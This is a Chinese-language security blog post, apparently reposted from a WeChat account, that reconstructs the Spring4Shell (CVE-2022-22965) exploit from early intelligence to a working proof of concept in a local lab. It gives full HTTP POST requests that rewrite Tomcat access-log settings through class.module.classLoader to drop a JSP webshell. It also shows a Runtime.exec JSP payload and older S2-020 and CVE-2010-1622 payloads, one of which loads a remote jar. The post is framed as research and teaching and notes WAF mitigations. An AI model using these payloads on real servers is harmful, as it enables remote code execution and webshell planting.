Spring4Shell 从漏洞情报到POC构造

admin 2022年4月24日13:03:11评论240 views字数 5235阅读17分27秒阅读模式

0x00 前言

相信大家对Spring4Shell (CVE-2022-22965)漏洞已经比较熟悉了,网上也有不少师傅的分析文章,这篇就尝试还原一下从漏洞情报到POC构造的过程。

0x01 前期情报

3月29日,外网某社交平台发布了spring的漏洞预警

影响范围:JDK>=9,使用了spring框架或衍生版本,且为0day

下午小范围传出加固方法:

漏洞位置在spring-beans-*.jar,具体文件为CachedIntrospectionResults,waf防护规则为过滤class.*,Class.*,*.class.*,*.Class.*。

临时解决方案:全局搜索@InitBinder  在dataBinder.setDisallowedFields方法中添加class.*,Class.*,*.class.*,*.Class.*。

0x02 漏洞分析

1、信息收集

关键字搜索 “CachedIntrospectionResults 漏洞”搜索到历史漏洞CVE-2010-1622。

获取到关键信息:

由于java bean的内省机制,导致变量覆盖问题,利用入口为对象的表单绑定。

参考历史漏洞查看源码289行可以看到,注释提示classloader与ProtectionDomain黑名单,也就是class.classloader或class.protectiondomain的形式会认为是非法,不进行赋值。

Spring4Shell 从漏洞情报到POC构造

跟classloader相关的漏洞很容易想到s2-20漏洞,以s2-20 classloader为关键字搜索找到这篇文章

文章讲到了利用classloader获取当前上下文的变量,通过变量覆盖来tomcat8的日志记录参数 getshell,还给出了自动枚举的jsp脚本。

到这里我们基本收集到了漏洞点与漏洞利用途径的基本信息,由于漏洞情报中提到jdk9,只需搭建环境调试代码踩坑即可。

2、漏洞环境搭建

从https://start.spring.io/,创建一个spring boot项目,导入idea,JDK选jdk11

Spring4Shell 从漏洞情报到POC构造

注意在pom.xml中改一下版本

  1. <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.17</version></dependency>

新建java bean User类

  1. public class User { private String name; private String password; public User() { } public User(String name, String password) { this.name = name; this.password = password; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } }


新建controller类,指定参数绑定

  1. @RestControllerpublic class HelloController { @RequestMapping("/user") //指定User参数来接收前端的绑定 public String test(User u){ System.out.println(u.getName()); //System.out.println(u.getClass().getClassLoader()) return "Hello feisec!"; }}


环境搭建完成,能成功访问即可

3、踩坑与猜想

先看历史漏洞的利用方式

在CVE-2010-1622中的利用(控制classLoader的参数,限制较多):

  1. http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/exp.jar!/

S2-20的利用(控制tomcat日志写shell):

  1. http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
    http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

根据上面的利用方法我们优先使用s2-20的利用方法,先找到当前bean的的classloader,参考controller代码,加入打印classloader,springboot jar包运行,发现ClassLoader是AppClassLoader,不存在无参的getResources方法不能用s2-20的利用方法(坑点1)

  1. //console输出结果
    jdk.internal.loader.ClassLoaders$AppClassLoader@2437c6dc

换tomcat9,war包部署,输出为

  1. ParallelWebappClassLoader
    context: ROOT
    delegate: false
    ----------> Parent Classloader:
    java.net.URLClassLoader@478190fc

Controller中添加如下代码方便调试(坑点2,idea需要强转ParallelWebappClassLoader,才可以提示到,当然也可以用信息收集的那个jsp来自动找链)

  1. ParallelWebappClassLoader cl = (ParallelWebappClassLoader) u.getClass().getClassLoader();
    System.out.println(cl);

下断点,利用idea 的代码提示功能来探索可能的利用信息,重点看无参的get与set方法,发现了getModule(),搜索一下发现是jdk9加入的模块化,与情报相符

Spring4Shell 从漏洞情报到POC构造

到这里CVE-2010-1622的黑名单已经绕过了,利用s2-20 tomcat下的利用方式来进行变量覆盖,那么尝试构造一个poc

4、poc构造

  1. POST /user HTTP/1.1
    Host: 127.0.0.1:8090
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Edg/100.0.1185.44
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    xxx: test
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
    Connection: close
    Content-Length: 412

    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=./webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

坑点:必须指定Content-Type: application/x-www-form-urlencoded

发包后浏览器访问http://127.0.0.1/user?name=<%Runtime.getRuntime().exec("calc");%>

再次调试执行表达式,发现日志记录的参数已被覆盖,jsp文件也已经生成

Spring4Shell 从漏洞情报到POC构造

Spring4Shell 从漏洞情报到POC构造

但是还存在一个问题,shell的内容不对,get请求恶意参数会被url编码,这就尴尬了

Spring4Shell 从漏洞情报到POC构造

怎么控制内容,还得从可控参数上找,看官方文档或搜索tomcat access log配置,发现pattern可以从headers和cookie中获取值,这样就可以解决编码的问题了。

最后的poc:

  1. POST /user HTTP/1.1
    Host: 127.0.0.1:8090
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Edg/100.0.1185.44
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    xxx: test
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
    Connection: close
    Content-Length: 412

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bxxx%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=./webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

验证生产的shell

Spring4Shell 从漏洞情报到POC构造

没毛病!

0x03 总结

1、Spring4Shell漏洞是一个典型的历史漏洞结合组合拳加新技术黑名单绕过的洞

2、只要当前容器有可控的无参的get、set链就可以有新的利用方法


原文始发于微信公众号(云见安全):Spring4Shell 从漏洞情报到POC构造

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月24日13:03:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring4Shell 从漏洞情报到POC构造https://cn-sec.com/archives/937867.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息